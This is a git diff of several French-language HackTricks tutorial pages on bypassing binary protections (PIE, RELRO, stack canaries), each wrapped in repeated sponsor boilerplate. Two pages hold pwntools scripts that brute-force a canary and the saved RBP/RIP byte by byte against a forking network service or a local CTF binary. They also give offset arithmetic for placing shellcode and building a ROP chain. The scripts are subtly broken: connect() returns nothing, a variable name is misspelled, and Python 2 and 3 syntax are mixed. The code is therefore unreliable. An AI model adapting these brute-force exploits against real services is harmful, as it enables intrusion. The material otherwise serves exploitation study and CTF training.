||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Un binaire compilé en tant que PIE, ou **Exécutable à Adresse Indépendante**, signifie que le **programme peut se charger à différentes adresses mémoire** à chaque exécution, empêchant les adresses codées en dur.
|
||||
|
||||
La technique pour exploiter ces binaires réside dans l'exploitation des **adresses relatives** - les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner le PIE, vous avez seulement besoin de divulguer une adresse**, généralement à partir de la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer les autres en fonction de leurs **décalages fixes**.
|
||||
|
||||
Un indice utile pour exploiter les binaires PIE est que leur **adresse de base se termine généralement en 000** en raison des pages mémoire étant les unités de randomisation, de taille 0x1000 octets. Cet alignement peut être une **vérification critique si un exploit ne fonctionne pas** comme prévu, indiquant si la bonne adresse de base a été identifiée.\
|
||||
Ou vous pouvez utiliser cela pour votre exploit, si vous divulguez qu'une adresse est située à **`0x649e1024`** vous savez que l'**adresse de base est `0x649e1000`** et à partir de là vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
|
||||
|
||||
## Contournements
|
||||
|
||||
Pour contourner le PIE, il est nécessaire de **divulguer une adresse du binaire chargé**, il existe quelques options pour cela :
|
||||
|
||||
* Se **voir donner** la fuite (courant dans les défis CTF faciles, [**consultez cet exemple**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Forcer les valeurs EBP et EIP** dans la pile jusqu'à ce que vous divulguiez les bonnes :
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Utilisez une vulnérabilité de lecture arbitraire telle que les [**chaînes de format**](../../format-strings/) pour divulguer une adresse du binaire (par exemple à partir de la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Références
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
# Adresses BF dans la pile
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que **`checksec`** pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.\
|
||||
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
|
||||
{% endhint %}
|
||||
|
||||
## Adresses BF
|
||||
|
||||
Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit aucune adresse, le mieux à faire est de **forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\
|
||||
Par exemple, si un binaire est protégé à la fois par un **canari** et **PIE**, vous pouvez commencer à forcer le canari, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré.
|
||||
|
||||
{% hint style="success" %}
|
||||
Il est supposé que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité est située dans le code binaire, sera généralement le cas.
|
||||
{% endhint %}
|
||||
|
||||
Pour forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme affiche quelque chose ou s'il ne plante tout simplement pas. La **même fonction** que celle fournie pour forcer le canari peut être utilisée pour forcer le RBP et le RIP :
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
|
||||
# PIE BF FROM HERE
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||||
print("Brute-Forcing RIP")
|
||||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
La dernière chose dont vous avez besoin pour contourner le PIE est de calculer **des adresses utiles à partir des adresses divulguées** : le **RBP** et le **RIP**.
|
||||
|
||||
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis calculer la distance entre le shellcode et le RBP :
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
À partir du **RIP**, vous pouvez calculer l'**adresse de base du binaire PIE** dont vous aurez besoin pour créer une **chaîne ROP valide**.\
|
||||
Pour calculer l'adresse de base, exécutez simplement `objdump -d vunbinary` et vérifiez les dernières adresses désassemblées :
|
||||
|
||||
.png>)
|
||||
|
||||
Dans cet exemple, vous pouvez voir qu'il suffit de **1 byte et demi** pour localiser tout le code, donc, l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué `0x562002970ecf`, l'adresse de base sera `0x562002970000`.
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
# Relro
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** signifie **Relocation Read-Only**, et c'est une fonctionnalité de sécurité utilisée dans les binaires pour atténuer les risques associés aux écrasements de la **GOT (Global Offset Table)**. Démêlons le concept en ses deux types distincts pour plus de clarté : **Partial RELRO** et **Full RELRO**.
|
||||
|
||||
### **Partial RELRO**
|
||||
|
||||
**Partial RELRO** adopte une approche plus simple pour renforcer la sécurité sans affecter significativement les performances du binaire. En **positionnant la GOT au-dessus des variables du programme en mémoire, Partial RELRO vise à empêcher les débordements de tampon d'atteindre et de corrompre la GOT**. 
|
||||
|
||||
Cela **n'empêche pas la GOT** d'être exploitée **par des vulnérabilités d'écriture arbitraire**.
|
||||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** renforce la protection en **rendant la GOT entièrement en lecture seule**. Une fois que le binaire démarre, toutes les adresses de fonctions sont résolues et chargées dans la GOT, puis, la GOT est marquée en lecture seule, empêchant efficacement toute modification pendant l'exécution.
|
||||
|
||||
Cependant, le compromis avec Full RELRO se situe en termes de performances et de temps de démarrage. Parce qu'il nécessite de résoudre tous les symboles dynamiques au démarrage avant de marquer la GOT en lecture seule, **les binaires avec Full RELRO activé peuvent connaître des temps de chargement plus longs**. Ce surcoût de démarrage supplémentaire est la raison pour laquelle Full RELRO n'est pas activé par défaut dans tous les binaires.
|
||||
|
||||
Il est possible de vérifier si Full RELRO est activé dans un binaire avec :
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
## Contournement
|
||||
|
||||
Si Full RELRO est activé, la seule façon de le contourner est de trouver une autre méthode qui ne nécessite pas d'écrire dans la table GOT pour obtenir une exécution arbitraire.
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
# Canaries de la pile
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard et StackShield**
|
||||
|
||||
**StackGuard** insère une valeur spéciale appelée **canary** avant le **EIP (Extended Instruction Pointer)**, spécifiquement `0x000aff0d` (représentant null, saut de ligne, EOF, retour chariot) pour se protéger contre les débordements de tampon. Cependant, des fonctions comme `recv()`, `memcpy()`, `read()` et `bcopy()` restent vulnérables, et il ne protège pas le **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** adopte une approche plus sophistiquée que StackGuard en maintenant une **pile de retour globale**, qui stocke toutes les adresses de retour (**EIP**). Cette configuration garantit qu'un débordement ne cause aucun dommage, car elle permet une comparaison entre les adresses de retour stockées et réelles pour détecter les occurrences de débordement. De plus, StackShield peut vérifier l'adresse de retour par rapport à une valeur limite pour détecter si l'**EIP** pointe en dehors de l'espace de données attendu. Cependant, cette protection peut être contournée à l'aide de techniques telles que Return-to-libc, ROP (Return-Oriented Programming) ou ret2ret, indiquant que StackShield ne protège pas non plus les variables locales.
|
||||
|
||||
## **Protecteur de pile Smash (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Ce mécanisme place un **canary** avant le **EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également de manière sécurisée les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, il ne protège pas les tableaux avec moins de 8 éléments ou les tampons à l'intérieur d'une structure utilisateur.
|
||||
|
||||
Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou d'une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86\_64**, à `fs:0x28`.
|
||||
|
||||
Cette protection locale identifie les fonctions avec des tampons vulnérables aux attaques et injecte du code au début de ces fonctions pour placer le canary, et à la fin pour vérifier son intégrité.
|
||||
|
||||
Lorsqu'un serveur web utilise `fork()`, cela permet une attaque par force brute pour deviner le byte du canary octet par octet. Cependant, l'utilisation de `execve()` après `fork()` écrase l'espace mémoire, annulant l'attaque. `vfork()` permet au processus enfant d'exécuter sans duplication jusqu'à ce qu'il tente d'écrire, à ce moment-là une duplication est créée, offrant une approche différente à la création de processus et à la gestion de la mémoire.
|
||||
|
||||
## Contournements
|
||||
|
||||
**Fuite du canary** puis écrasement (par exemple, débordement de tampon) avec sa propre valeur.
|
||||
|
||||
* Si les **canaries sont forkés dans les processus enfants**, il pourrait être possible de les **forcer** un byte à la fois :
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* S'il existe une vulnérabilité de fuite intéressante dans le binaire, il pourrait être possible de la divulguer :
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,117 @@
|
|||
# BF Forked Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canari s'il a été compilé statiquement et n'est pas capable d'identifier la fonction.\
|
||||
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir.
|
||||
{% endhint %}
|
||||
|
||||
## Brute force du canari
|
||||
|
||||
La meilleure façon de contourner un canari simple est si le binaire est un programme **créant des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**.
|
||||
|
||||
Ainsi, la meilleure façon de contourner le canari est simplement de le **forcer de manière brute caractère par caractère**, et vous pouvez déterminer si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force de manière brute un canari de 8 octets (x64)** et distingue entre un byte deviné correct et un mauvais byte en vérifiant simplement si une **réponse** est renvoyée par le serveur (une autre façon dans **d'autres situations** pourrait être d'utiliser un **try/except**) :
|
||||
|
||||
### Exemple 1
|
||||
|
||||
Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### Exemple 2
|
||||
|
||||
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\
|
||||
Notez également que pour cet exemple, **le programme attend d'abord un octet pour indiquer la taille de l'entrée** et la charge utile.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
# Imprimer le canari de la pile
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Augmenter la pile imprimée
|
||||
|
||||
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** pointant vers une **partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canari est un octet nul** (`\x00`) et que le reste du canari est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canari**.
|
||||
|
||||
Ensuite, l'attaquant **appelle la fonction puts** au milieu de la charge utile qui **imprimera tout le canari** (à l'exception du premier octet nul).
|
||||
|
||||
Avec ces informations, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canari (dans la même session du programme).
|
||||
|
||||
Évidemment, cette tactique est très **limitée** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canari** et ensuite être capable de créer une nouvelle charge utile (dans la **même session du programme**) et **envoyer** le **vrai débordement de tampon**.
|
||||
|
||||
**Exemple CTF :** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
## Lecture arbitraire
|
||||
|
||||
Avec une lecture arbitraire comme celle fournie par les **chaines de format**, il pourrait être possible de divulguer le canari. Consultez cet exemple : [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) et vous pouvez lire sur l'abus des chaines de format pour lire des adresses mémoire arbitraires dans :
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
